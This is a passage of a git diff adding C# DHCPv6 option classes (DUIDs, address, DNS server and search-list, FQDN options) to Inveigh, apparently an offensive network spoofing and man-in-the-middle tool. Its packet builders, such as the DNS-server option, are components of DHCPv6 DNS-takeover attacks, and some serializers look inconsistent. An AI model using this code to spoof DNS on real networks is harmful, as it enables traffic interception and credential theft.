+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.DUID = packetReader.ReadBytes(this.OptionLen);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.DUID);
+ return memoryStream.ToArray();
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs
new file mode 100644
index 0000000..250bcef
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option23.cs
@@ -0,0 +1,97 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option23 : DHCPv6Option
+ {
+ // https://datatracker.ietf.org/doc/html/rfc3646
+ public byte[] DNSRecursiveNameServers { get; set; }
+ public DHCPv6Option23()
+ {
+
+ }
+
+ public DHCPv6Option23(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option23(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public DHCPv6Option23(string dnsRecursiveNameServer)
+ {
+ this.OptionCode = 23;
+ this.OptionLen = 16;
+ this.DNSRecursiveNameServers = IPAddress.Parse(dnsRecursiveNameServer).GetAddressBytes();
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.DNSRecursiveNameServers = packetReader.ReadBytes(this.OptionLen);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.DNSRecursiveNameServers);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs
new file mode 100644
index 0000000..5abbecb
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option24.cs
@@ -0,0 +1,95 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option24 : DHCPv6Option
+ {
+ public byte[] SearchList { get; set; }
+
+ public DHCPv6Option24()
+ {
+
+ }
+
+ public DHCPv6Option24(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option24(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public DHCPv6Option24(string dnsSuffix)
+ {
+ this.OptionCode = 24;
+ this.SearchList = Utilities.GetDNSNameBytes(dnsSuffix, true);
+ this.OptionLen = (ushort)this.SearchList.Length;
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.SearchList = packetReader.ReadBytes(this.OptionLen);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.SearchList);
+ return memoryStream.ToArray();
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs
new file mode 100644
index 0000000..7641a32
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option3.cs
@@ -0,0 +1,107 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option3 : DHCPv6Option
+ {
+ public byte[] IAID { get; set; }
+ public uint T1 { get; set; }
+ public uint T2 { get; set; }
+ public byte[] IANAOptions { get; set; }
+
+ public DHCPv6Option3()
+ {
+
+ }
+
+ public DHCPv6Option3(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option3(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public DHCPv6Option3(string clientIPv6Address, uint lifetime, byte[] iaid)
+ {
+ this.OptionCode = 3;
+ this.T1 = 200;
+ this.T2 = 250;
+ this.IAID = iaid;
+ this.IANAOptions = new DHCPv6Option5().GetBytes(clientIPv6Address, lifetime);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.IAID = packetReader.ReadBytes(4);
+ this.T1 = packetReader.BigEndianReadUInt32();
+ this.T2 = packetReader.BigEndianReadUInt32();
+ this.IANAOptions = packetReader.ReadBytes(this.OptionLen - 12);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+ this.OptionLen = 40;
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.IAID);
+ packetWriter.BigEndianWrite(this.T1);
+ packetWriter.BigEndianWrite(this.T2);
+ packetWriter.Write(this.IANAOptions);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs
new file mode 100644
index 0000000..b7b4a76
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option39.cs
@@ -0,0 +1,128 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option39 : DHCPv6Option
+ {
+ // https://datatracker.ietf.org/doc/html/rfc4704
+
+ public byte Flags { get; set; }
+ public string DomainName { get; set; }
+
+ public DHCPv6Option39()
+ {
+
+ }
+
+ public DHCPv6Option39(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option39(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.Flags = packetReader.ReadByte();
+ this.DomainName = ConvertName(packetReader.ReadBytes(this.OptionLen - 1));
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.OptionCode);
+ packetWriter.Write(this.OptionLen);
+ packetWriter.Write(this.Flags);
+ packetWriter.Write(this.DomainName);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ protected virtual string ConvertName(byte[]data)
+ {
+ string hostname = "";
+ int hostnameLength = data[0];
+ int index = 0;
+ int i = 0;
+
+ do
+ {
+ int hostnameSegmentLength = hostnameLength;
+ byte[] hostnameSegment = new byte[hostnameSegmentLength];
+ Buffer.BlockCopy(data, (index + 1), hostnameSegment, 0, hostnameSegmentLength);
+ hostname += Encoding.UTF8.GetString(hostnameSegment);
+
+ if (hostnameLength + 1 == data.Length)
+ {
+ return hostname;
+ }
+
+ index += hostnameLength + 1;
+ hostnameLength = data[index];
+ i++;
+
+ if (hostnameLength > 0)
+ {
+ hostname += ".";
+ }
+
+ }
+ while (hostnameLength != 0 && i <= 127);
+
+ return hostname;
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs
new file mode 100644
index 0000000..7ed7a2b
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option5.cs
@@ -0,0 +1,77 @@
+using Quiddity.Support;
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Net;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option5 : DHCPv6Option
+ {
+ // https://datatracker.ietf.org/doc/html/rfc3315#section-22.6
+
+ public byte[] IPv6Address { get; set; }
+ public uint PreferredLifetime { get; set; }
+ public uint ValidLifetime { get; set; }
+ public byte[] IAAddrOptions { get; set; }
+
+ public DHCPv6Option5()
+ {
+ }
+
+ public DHCPv6Option5(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option5(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.IPv6Address = packetReader.ReadBytes(16);
+ this.PreferredLifetime = packetReader.BigEndianReadUInt32();
+ this.ValidLifetime = packetReader.BigEndianReadUInt32();
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.OptionCode);
+ packetWriter.BigEndianWrite(this.OptionLen);
+ packetWriter.Write(this.IPv6Address);
+ packetWriter.BigEndianWrite(this.PreferredLifetime);
+ packetWriter.BigEndianWrite(this.ValidLifetime);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ public byte[] GetBytes(string ipv6Address, uint lifeTime)
+ {
+ this.OptionCode = 5;
+ this.OptionLen = 24;
+ this.IPv6Address = IPAddress.Parse(ipv6Address).GetAddressBytes();
+ this.PreferredLifetime = lifeTime;
+ this.ValidLifetime = lifeTime;
+ return GetBytes();
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs
new file mode 100644
index 0000000..557e089
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option6.cs
@@ -0,0 +1,87 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option6 : DHCPv6Option
+ {
+ public byte[] RequestedOptionCodes { get; set; }
+
+ public DHCPv6Option6()
+ {
+
+ }
+
+ public DHCPv6Option6(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option6(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.RequestedOptionCodes = packetReader.ReadBytes(this.OptionLen);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.OptionCode);
+ packetWriter.Write(this.OptionLen);
+ packetWriter.Write(this.RequestedOptionCodes);
+ return memoryStream.ToArray();
+ }
+
+ }
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs
new file mode 100644
index 0000000..b6d522c
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/DHCPv6Option8.cs
@@ -0,0 +1,88 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+ * AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+ * DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+ * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+ * CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+ * OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+ * OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+ */
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ class DHCPv6Option8 : DHCPv6Option
+ {
+ public ushort ElapsedTime { get; set; }
+
+ public DHCPv6Option8()
+ {
+
+ }
+
+ public DHCPv6Option8(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6Option8(byte[] data, int index)
+ {
+ ReadBytes(data, index);
+ }
+
+ public new void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.OptionCode = packetReader.BigEndianReadUInt16();
+ this.OptionLen = packetReader.BigEndianReadUInt16();
+ this.ElapsedTime = packetReader.BigEndianReadUInt16();
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.Write(this.OptionCode);
+ packetWriter.Write(this.OptionLen);
+ packetWriter.Write(this.ElapsedTime);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs
new file mode 100644
index 0000000..a24dd45
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLL.cs
@@ -0,0 +1,72 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ public class DHCPv6DUIDLL
+ {
+ // https://datatracker.ietf.org/doc/html/rfc3315#section-9
+ public ushort DUIDType { get; set; }
+ public ushort HardwareType { get; set; }
+ public byte[] LinkLayerAddress { get; set; }
+
+ public DHCPv6DUIDLL()
+ {
+
+ }
+
+ public DHCPv6DUIDLL(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public DHCPv6DUIDLL(string linkLayerAddress)
+ {
+ byte[] linkLayerAddressData = new byte[6];
+ int i = 0;
+
+ foreach (string character in linkLayerAddress.Split(':'))
+ {
+ linkLayerAddressData[i] = Convert.ToByte(Convert.ToInt16(character, 16));
+ i++;
+ }
+
+ this.DUIDType = 3;
+ this.HardwareType = 1;
+ this.LinkLayerAddress = linkLayerAddressData;
+ }
+
+ public void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.DUIDType = packetReader.BigEndianReadUInt16();
+ this.HardwareType = packetReader.BigEndianReadUInt16();
+ this.LinkLayerAddress = packetReader.ReadBytes(6);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.DUIDType);
+ packetWriter.BigEndianWrite(this.HardwareType);
+ packetWriter.Write(this.LinkLayerAddress);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs
new file mode 100644
index 0000000..45408bd
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DHCPv6/Options/Values/DHCPv6DUIDLLT.cs
@@ -0,0 +1,57 @@
+using System;
+using System.Collections.Generic;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quiddity.DHCPv6
+{
+ public class DHCPv6DUIDLLT
+ {
+ // https://datatracker.ietf.org/doc/html/rfc3315#section-9
+ public ushort DUIDType { get; set; }
+ public ushort HardwareType { get; set; }
+ public uint Time { get; set; }
+ public byte[] LinkLayerAddress { get; set; }
+
+ public DHCPv6DUIDLLT()
+ {
+
+ }
+
+ public DHCPv6DUIDLLT(byte[] data)
+ {
+ ReadBytes(data, 0);
+ }
+
+ public void ReadBytes(byte[] data, int index)
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream(data))
+ {
+ PacketReader packetReader = new PacketReader(memoryStream);
+ memoryStream.Position = index;
+ this.DUIDType = packetReader.BigEndianReadUInt16();
+ this.HardwareType = packetReader.BigEndianReadUInt16();
+ this.Time = packetReader.BigEndianReadUInt32();
+ this.LinkLayerAddress = packetReader.ReadBytes(6);
+ }
+
+ }
+
+ public byte[] GetBytes()
+ {
+
+ using (MemoryStream memoryStream = new MemoryStream())
+ {
+ PacketWriter packetWriter = new PacketWriter(memoryStream);
+ packetWriter.BigEndianWrite(this.DUIDType);
+ packetWriter.BigEndianWrite(this.HardwareType);
+ packetWriter.Write(this.LinkLayerAddress);
+ return memoryStream.ToArray();
+ }
+
+ }
+
+ }
+}
diff --git a/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSChecker.cs b/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSChecker.cs
new file mode 100644
index 0000000..5a23ffd
--- /dev/null
+++ b/Inveigh/Protocols/Quiddity/Protocols/DNS/DNSChecker.cs
@@ -0,0 +1,329 @@
+/*
+ * BSD 3-Clause License
+ *
+ * Copyright (c) 2021, Kevin Robertson
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions are met:
+ *
+ * 1. Redistributions of source code must retain the above copyright notice, this
+ * list of conditions and the following disclaimer.
+ *
+ * 2. Redistributions in binary form must reproduce the above copyright notice,
+ * this list of conditions and the following disclaimer in the documentation
+ * and/or other materials provided with the distribution.
+ *
+ * 3. Neither the name of the copyright holder nor the names of its
+ * contributors may be used to endorse or promote products derived from
+ * this software without specific prior written permission.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
